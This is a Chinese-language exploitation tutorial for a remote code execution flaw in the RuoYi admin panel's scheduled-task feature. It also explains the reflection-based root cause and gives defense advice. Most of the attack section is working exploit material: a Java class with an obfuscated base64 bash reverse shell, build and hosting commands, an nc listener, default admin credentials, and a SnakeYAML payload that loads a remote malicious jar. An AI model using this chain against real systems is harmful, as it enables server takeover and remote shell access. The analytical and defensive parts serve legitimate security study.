某依后台RCE分析
字数 1327 2025-08-24 23:51:21

若依后台RCE漏洞分析与利用教学文档

漏洞概述

漏洞标题:若依后台远程代码执行漏洞
漏洞类型:命令执行
漏洞等级:严重
影响范围:RuoYi <= 4.6.2
漏洞描述:若依后台计划任务功能中,对"调用目标字符串"参数缺乏有效校验,导致攻击者可调用任意类、方法及参数,通过反射机制执行系统命令。

漏洞利用步骤

1. 准备恶意JAR包

使用GitHub项目生成恶意jar包:

https://github.com/artsploit/yaml-payload

修改源码文件 src/artsploit/AwesomeScriptEngineFactory.java,添加反弹shell命令:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // ... 其他代码 ...
}

编译并打包:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

2. 设置监听服务

启动HTTP服务提供恶意jar包:

python3 -m http.server 2333

监听反弹shell:

nc -lvnp 1234

3. 登录若依后台

默认凭据:

  • admin/admin123
  • ry/admin123

4. 添加恶意计划任务

路径:系统监控 > 定时任务 > 新增

在"调用目标字符串"中输入YAML payload:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

5. 等待计划任务执行

执行完成后,将在nc监听端收到反弹shell连接。

漏洞原理分析

1. 漏洞触发点

漏洞位于com.ruoyi.quartz.util#JobInvokeUtil类中,该组件负责解析和执行计划任务参数。

2. 参数解析流程

当传入字符串格式为java.lang.xxx.func('aaa')时:

  • beanName = "java.lang.xxx"
  • methodName = "func"
  • methodParams = "aaa"

最终执行的反射代码为:

Class.forName("java.lang.xxx").getDeclaredMethod("func", String.class)
    .invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")

3. 利用条件

要成功利用此漏洞,需要满足以下条件:

  1. 目标类必须具有public类型的无参构造方法
  2. 目标类必须具有public类型且可以执行命令的方法

4. 利用类分析

选择org.yaml.snakeyaml.Yaml类的原因:

  • 该类具有public无参构造方法
  • load()方法可以解析YAML格式字符串
  • 通过YAML反序列化可以触发远程类加载

5. YAML Payload解析

Payload结构:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [
    [
      !!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]
    ]
  ]
]

此payload会:

  1. 创建一个URLClassLoader实例
  2. 从指定URL加载jar文件
  3. 通过ScriptEngineManager机制执行jar中的恶意代码

防御建议

  1. 输入验证:对计划任务的"调用目标字符串"进行严格校验,限制可使用的类和方法
  2. 权限控制:限制计划任务功能的访问权限
  3. 升级版本:升级到RuoYi 4.6.2以上版本
  4. 安全配置:禁用不必要的反射功能
  5. 代码审查:审查所有使用反射的代码,确保参数可控

补充说明

  1. 字符串引号问题:传入的字符串必须用单引号包含,否则可能出现解析错误
  2. RMI限制:若依环境中直接使用RMI可能会报错,因此选择远程jar加载方式
  3. 替代方案:也可以使用其他具有危险方法的类进行利用,如com.sun.rowset.JdbcRowSetImpl

参考代码

测试用的YAML执行代码:

import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;

public class YamlDemo {
    public static void main(String[] args) throws Exception {
        Yaml yaml = new Yaml();
        yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
        // 或者使用RMI方式(可能在若依中不可用)
        // yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
    }
}

总结

该漏洞利用若依后台计划任务功能对反射调用缺乏足够的安全限制,通过精心构造的YAML反序列化payload实现远程代码执行。漏洞利用门槛较低但危害严重,建议受影响用户立即采取防护措施。

若依后台RCE漏洞分析与利用教学文档 漏洞概述 漏洞标题 :若依后台远程代码执行漏洞 漏洞类型 :命令执行 漏洞等级 :严重 影响范围 :RuoYi <= 4.6.2 漏洞描述 :若依后台计划任务功能中,对"调用目标字符串"参数缺乏有效校验,导致攻击者可调用任意类、方法及参数,通过反射机制执行系统命令。 漏洞利用步骤 1. 准备恶意JAR包 使用GitHub项目生成恶意jar包: 修改源码文件 src/artsploit/AwesomeScriptEngineFactory.java ,添加反弹shell命令: 编译并打包: 2. 设置监听服务 启动HTTP服务提供恶意jar包: 监听反弹shell: 3. 登录若依后台 默认凭据: admin/admin123 ry/admin123 4. 添加恶意计划任务 路径:系统监控 > 定时任务 > 新增 在"调用目标字符串"中输入YAML payload: 5. 等待计划任务执行 执行完成后,将在nc监听端收到反弹shell连接。 漏洞原理分析 1. 漏洞触发点 漏洞位于 com.ruoyi.quartz.util#JobInvokeUtil 类中,该组件负责解析和执行计划任务参数。 2. 参数解析流程 当传入字符串格式为 java.lang.xxx.func('aaa') 时: beanName = "java.lang.xxx" methodName = "func" methodParams = "aaa" 最终执行的反射代码为: 3. 利用条件 要成功利用此漏洞,需要满足以下条件: 目标类必须具有public类型的无参构造方法 目标类必须具有public类型且可以执行命令的方法 4. 利用类分析 选择 org.yaml.snakeyaml.Yaml 类的原因: 该类具有public无参构造方法 load() 方法可以解析YAML格式字符串 通过YAML反序列化可以触发远程类加载 5. YAML Payload解析 Payload结构: 此payload会: 创建一个URLClassLoader实例 从指定URL加载jar文件 通过ScriptEngineManager机制执行jar中的恶意代码 防御建议 输入验证 :对计划任务的"调用目标字符串"进行严格校验,限制可使用的类和方法 权限控制 :限制计划任务功能的访问权限 升级版本 :升级到RuoYi 4.6.2以上版本 安全配置 :禁用不必要的反射功能 代码审查 :审查所有使用反射的代码,确保参数可控 补充说明 字符串引号问题 :传入的字符串必须用单引号包含,否则可能出现解析错误 RMI限制 :若依环境中直接使用RMI可能会报错,因此选择远程jar加载方式 替代方案 :也可以使用其他具有危险方法的类进行利用,如 com.sun.rowset.JdbcRowSetImpl 参考代码 测试用的YAML执行代码: 总结 该漏洞利用若依后台计划任务功能对反射调用缺乏足够的安全限制,通过精心构造的YAML反序列化payload实现远程代码执行。漏洞利用门槛较低但危害严重,建议受影响用户立即采取防护措施。